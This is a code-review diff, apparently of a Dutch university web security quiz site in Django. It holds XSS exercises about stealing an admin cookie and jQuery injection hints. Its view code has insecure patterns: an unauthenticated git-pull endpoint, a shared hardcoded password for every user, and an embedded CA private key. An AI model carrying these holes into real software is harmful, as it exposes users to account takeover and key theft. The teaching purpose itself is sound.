{% include "points.html" with points=answers.answer_xss_news_reaction.points max="10" %}
|
||||
<textarea class="question-input" name="answer_xss_news_reaction">{{answers.answer_xss_news_reaction.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<h2>Wereldwijs</h2>
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
|
||||
{% include "points.html" with points=answers.answer_xss_news_secret_code.points max="5" %}
|
||||
<input class="question-input" name="answer_xss_news_secret_code" value="{{answers.answer_xss_news_secret_code.string}}">
|
||||
</div>
|
||||
|
||||
<p>Ga naar de
|
||||
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
|
||||
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
|
||||
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Plak het script dat je op je eigen website hebt gebruikt waarmee je de cookie van de admin hebt vastgelegd.</span>
|
||||
{% include "points.html" with points=answers.answer_xss_news_script.points max="10" %}
|
||||
<textarea class="question-input" name="answer_xss_news_script">{{answers.answer_xss_news_script.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Let op: In Firefox werkt deze hack niet</p>
|
||||
<h2>Wereldwijs</h2>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
|
||||
<p>Ga naar de <span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen. Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>').
|
||||
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
|
||||
<p>Let op: In Firefox werkt deze hack niet</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
|
||||
</div>
|
||||
<p class="hint"><strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
|
||||
|
||||
{% endblock %}
|
||||
<p class="hint"><strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>'). Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
|
||||
{% include "points.html" with points=answers.answer_xss_jquery.points max="10" %}
|
||||
<input class="question-input" type="url" name="answer_xss_jquery" value="{{answers.answer_xss_jquery.string}}">
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
{% endblock %}
|
||||
@@ -1,29 +1,111 @@
|
||||
from django.shortcuts import render
|
||||
from django.http import HttpResponse
|
||||
from django.http import HttpResponseRedirect
|
||||
from django.http import HttpResponseNotFound
|
||||
from django.db import connection
|
||||
from quiz.models import LetsEncryptChallenge
|
||||
from oauth2_provider.views.generic import ProtectedResourceView
|
||||
import datetime
|
||||
import pytz
|
||||
from django.contrib.auth import login
|
||||
from django.views.decorators.csrf import csrf_exempt
|
||||
from django.contrib.auth import authenticate, login, logout
|
||||
from django.contrib.auth.models import User
|
||||
from django.contrib import messages
|
||||
from django.db import connection
|
||||
from quiz.models import Answer, LetsEncryptChallenge
|
||||
import oauth2 as oauth, cgi, json, base64, urlparse, subprocess
|
||||
from oauth2_provider.views.generic import ProtectedResourceView
|
||||
import securityquiz.secrets as secrets
|
||||
import securityquiz.settings as settings
|
||||
import datetime, pytz
|
||||
|
||||
AVANS_KEY = secrets.AVANS_KEY
|
||||
AVANS_SECRET = secrets.AVANS_SECRET
|
||||
REQUEST_TOKEN_URL = 'https://publicapi.avans.nl/oauth/request_token?oauth_callback=http://%s/callback'
|
||||
ACCESS_TOKEN_URL = 'https://publicapi.avans.nl/oauth/access_token'
|
||||
AUTHORIZE_URL = 'https://publicapi.avans.nl/oauth/saml.php?oauth_token=%s'
|
||||
|
||||
consumer = oauth.Consumer(AVANS_KEY, AVANS_SECRET)
|
||||
client = oauth.Client(consumer)
|
||||
|
||||
@csrf_exempt
|
||||
def git_pull(request):
|
||||
output = subprocess.check_output(["git", "-C", "/var/www/sec1.aii.avans.nl", "pull"])
|
||||
return HttpResponse(output)
|
||||
|
||||
def avans_login(request):
|
||||
|
||||
resp, content = client.request(REQUEST_TOKEN_URL % request.get_host(), "GET")
|
||||
|
||||
if resp['status'] != '200':
|
||||
raise Exception("Invalid response from oauth")
|
||||
|
||||
request.session['request_token'] = dict(cgi.parse_qsl(content))
|
||||
|
||||
url = AUTHORIZE_URL % (request.session['request_token']['oauth_token'])
|
||||
return HttpResponseRedirect(url)
|
||||
|
||||
def avans_callback(request):
|
||||
token = oauth.Token(request.session['request_token']['oauth_token'], request.session['request_token']['oauth_token_secret'])
|
||||
token.set_verifier(request.GET['oauth_verifier'])
|
||||
|
||||
client = oauth.Client(consumer, token)
|
||||
|
||||
resp, content = client.request(ACCESS_TOKEN_URL, "GET")
|
||||
if resp['status'] != '200':
|
||||
raise Exception("Invalid response from Avans.")
|
||||
|
||||
access_token = dict(cgi.parse_qsl(content))
|
||||
token = oauth.Token(access_token['oauth_token'], access_token['oauth_token_secret'])
|
||||
client = oauth.Client(consumer, token)
|
||||
|
||||
resp, content = client.request('https://publicapi.avans.nl/oauth/studentnummer/', 'GET')
|
||||
data = json.loads(content)[0]
|
||||
studentnummer = data['studentnummer']
|
||||
inlognaam = data['inlognaam']
|
||||
|
||||
try:
|
||||
user = User.objects.get(username=inlognaam)
|
||||
except User.DoesNotExist:
|
||||
user = User.objects.create_user(inlognaam, studentnummer, 'secret')
|
||||
|
||||
user = authenticate(username=inlognaam, password='secret')
|
||||
login(request, user)
|
||||
|
||||
return HttpResponseRedirect('/')
|
||||
|
||||
def avans_logout(request):
|
||||
logout(request)
|
||||
return HttpResponse('Je bent nu uitgelogd... <a href="/">Opnieuw inloggen</a>')
|
||||
|
||||
@csrf_exempt
|
||||
def save(request):
|
||||
data = dict(urlparse.parse_qsl(base64.b64decode(request.body), True))
|
||||
print data
|
||||
save_data(data, request.user)
|
||||
return HttpResponse('ok')
|
||||
|
||||
def save_data(data, user):
|
||||
for key in data:
|
||||
if key.startswith('answer'):
|
||||
answer, created = Answer.objects.get_or_create(user=user, question=key)
|
||||
if answer.string <> data[key]:
|
||||
answer.string = data[key]
|
||||
answer.submitted = pytz.utc.localize(datetime.datetime.utcnow())
|
||||
answer.points = None
|
||||
answer.comment = None
|
||||
answer.save()
|
||||
|
||||
def home(request, url):
|
||||
if not request.user.is_authenticated():
|
||||
return avans_login(request)
|
||||
|
||||
if not request.user.is_authenticated:
|
||||
if request.method == 'POST':
|
||||
save_data(request.POST, request.user)
|
||||
|
||||
try:
|
||||
user = User.objects.get()
|
||||
except User.DoesNotExist:
|
||||
user = User.objects.create_user(
|
||||
'cursist', 'cursist@websec.paulwagener.nl', 'cursist')
|
||||
user.save()
|
||||
messages.add_message(request, messages.INFO, 'Je antwoorden zijn opgeslagen')
|
||||
return HttpResponseRedirect('/' + url)
|
||||
|
||||
login(request, user)
|
||||
answers = Answer.objects.filter(user=request.user)
|
||||
answers_dict = {}
|
||||
for answer in answers:
|
||||
|
||||
# Make sure there is always a user
|
||||
answers_dict[answer.question] = {'string': answer.string, 'points': answer.points}
|
||||
|
||||
if url == 'sql' or url == '':
|
||||
template = 'sql.html'
|
||||
@@ -41,23 +123,16 @@ def home(request, url):
|
||||
template = 'bonus.html'
|
||||
elif url == 'oauth':
|
||||
template = 'oauth.html'
|
||||
elif url == 'vm':
|
||||
template = 'vm.html'
|
||||
else:
|
||||
return HttpResponseNotFound('404')
|
||||
|
||||
# Temp
|
||||
if 'vm' in request.GET:
|
||||
template = 'vm.html'
|
||||
|
||||
return render(request, template)
|
||||
return render(request, template, {'answers': answers_dict})
|
||||
|
||||
|
||||
class SecurityApi(ProtectedResourceView):
|
||||
def get(self, request, *args, **kwargs):
|
||||
return HttpResponse("Geheime code: abguvatgbfrrurerzbirnybat")
|
||||
|
||||
|
||||
def letsencrypt(request):
|
||||
template_vars = {}
|
||||
if request.method == 'POST':
|
||||
@@ -67,11 +142,10 @@ def letsencrypt(request):
|
||||
if challengeresponse.strip() == '':
|
||||
raise Exception('Geen data opgegeven')
|
||||
|
||||
if '.' not in challengeresponse:
|
||||
raise Exception(
|
||||
'Verkeerde code opgegeven. De code die je moet opgeven is met een puntje er in.')
|
||||
print(challengeresponse.split('.'))
|
||||
if len(challengeresponse.split('.')) != 2:
|
||||
if not '.' in challengeresponse:
|
||||
raise Exception('Verkeerde code opgegeven. De code die je moet opgeven is met een puntje er in.')
|
||||
print challengeresponse.split('.')
|
||||
if len(challengeresponse.split('.')) <> 2:
|
||||
raise Exception('De code moet maar 1 puntje bevatten')
|
||||
|
||||
challenge, response = challengeresponse.split('.')
|
||||
@@ -79,12 +153,11 @@ def letsencrypt(request):
|
||||
if len(challenge) < 40 or len(response) < 40:
|
||||
raise Exception('De code is te kort')
|
||||
|
||||
expiry_date = pytz.utc.localize(
|
||||
datetime.datetime.utcnow() + datetime.timedelta(minutes=10))
|
||||
expiry_date = pytz.utc.localize(datetime.datetime.utcnow() + datetime.timedelta(minutes=10))
|
||||
challengeresponse, created = LetsEncryptChallenge.objects.get_or_create(challenge=challenge, defaults={
|
||||
'response': response,
|
||||
'expiry_date': expiry_date
|
||||
})
|
||||
})
|
||||
|
||||
challengeresponse.response = response
|
||||
challengeresponse.expiry_date = expiry_date
|
||||
@@ -98,27 +171,25 @@ def letsencrypt(request):
|
||||
|
||||
return render(request, 'letsencrypt.html', template_vars)
|
||||
|
||||
|
||||
def letsencrypt_challenge(request, challenge):
|
||||
try:
|
||||
# Delete old challenges
|
||||
LetsEncryptChallenge.objects.filter(
|
||||
expiry_date__lte=datetime.datetime.utcnow()).delete()
|
||||
LetsEncryptChallenge.objects.filter(expiry_date__lte=datetime.datetime.utcnow()).delete()
|
||||
|
||||
challengeresponse = LetsEncryptChallenge.objects.get(
|
||||
challenge=challenge)
|
||||
challengeresponse = LetsEncryptChallenge.objects.get(challenge=challenge)
|
||||
|
||||
response = HttpResponse(
|
||||
challengeresponse.challenge + "." + challengeresponse.response)
|
||||
response = HttpResponse(challengeresponse.challenge + "." + challengeresponse.response)
|
||||
response['Content-Type'] = 'text/plain'
|
||||
return response
|
||||
except LetsEncryptChallenge.DoesNotExist:
|
||||
return HttpResponseNotFound('404')
|
||||
|
||||
|
||||
|
||||
def sign(request):
|
||||
if request.method == 'POST':
|
||||
from OpenSSL import crypto
|
||||
import time
|
||||
|
||||
ca_cert_file = """-----BEGIN CERTIFICATE-----
|
||||
MIIEjzCCA3egAwIBAgIJAIyZIB4fbN2mMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYD
|
||||
@@ -176,8 +247,7 @@ KJ8dp3ZgjiQ9aQujFD5oPnmSJ8wvJijF8ngEFw60+axRrWnUmejWkrexA1Hlv0Er
|
||||
tq9DcELddZK2gJXaXpL1wOL+Ex5RzzRmjqKmmkkn1//ikn+nrZU=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
"""
|
||||
csr = crypto.load_certificate_request(
|
||||
crypto.FILETYPE_PEM, request.FILES['csr'].read())
|
||||
csr = crypto.load_certificate_request(crypto.FILETYPE_PEM, request.FILES['csr'].read())
|
||||
ca_cert = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert_file)
|
||||
ca_key = crypto.load_privatekey(crypto.FILETYPE_PEM, ca_key_file)
|
||||
|
||||
@@ -190,29 +260,25 @@ tq9DcELddZK2gJXaXpL1wOL+Ex5RzzRmjqKmmkkn1//ikn+nrZU=
|
||||
signed_cert.set_pubkey(csr.get_pubkey())
|
||||
signed_cert.sign(ca_key, 'sha256')
|
||||
|
||||
response = HttpResponse(crypto.dump_certificate(
|
||||
crypto.FILETYPE_PEM, signed_cert), content_type='application/zip')
|
||||
response = HttpResponse(crypto.dump_certificate(crypto.FILETYPE_PEM, signed_cert), content_type='application/zip')
|
||||
response['Content-Disposition'] = 'attachment; filename=signed-certificaat.crt'
|
||||
return response
|
||||
|
||||
return render(request, 'sign.html')
|
||||
|
||||
|
||||
def graderhelper(request):
|
||||
cursor = connection.cursor()
|
||||
if request.GET['mode'] == 'oauth_app':
|
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_application WHERE client_id = %s", [
|
||||
request.GET['answer']])
|
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_application WHERE client_id = %s", [request.GET['answer']])
|
||||
return HttpResponse(cursor.fetchone())
|
||||
|
||||
elif request.GET['mode'] == 'access_token':
|
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_accesstoken WHERE token = %s", [
|
||||
request.GET['answer']])
|
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_accesstoken WHERE token = %s", [request.GET['answer']])
|
||||
return HttpResponse(cursor.fetchone())
|
||||
|
||||
elif request.GET['mode'] == 'auth_code':
|
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_grant WHERE code = %s", [
|
||||
request.GET['answer']])
|
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_grant WHERE code = %s", [request.GET['answer']])
|
||||
return HttpResponse(cursor.fetchone())
|
||||
|
||||
return HttpResponse('404')
|
||||
|
||||
return HttpResponse('404')
|
||||
@@ -1,6 +1,4 @@
|
||||
import os
|
||||
import sys
|
||||
from django.core.wsgi import get_wsgi_application
|
||||
import os, sys
|
||||
|
||||
path = os.path.dirname(os.path.abspath(__file__))
|
||||
if path not in sys.path:
|
||||
@@ -8,5 +6,5 @@ if path not in sys.path:
|
||||
|
||||
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings")
|
||||
|
||||
|
||||
from django.core.wsgi import get_wsgi_application
|
||||
application = get_wsgi_application()
|
||||
Reference in new issue
Block a user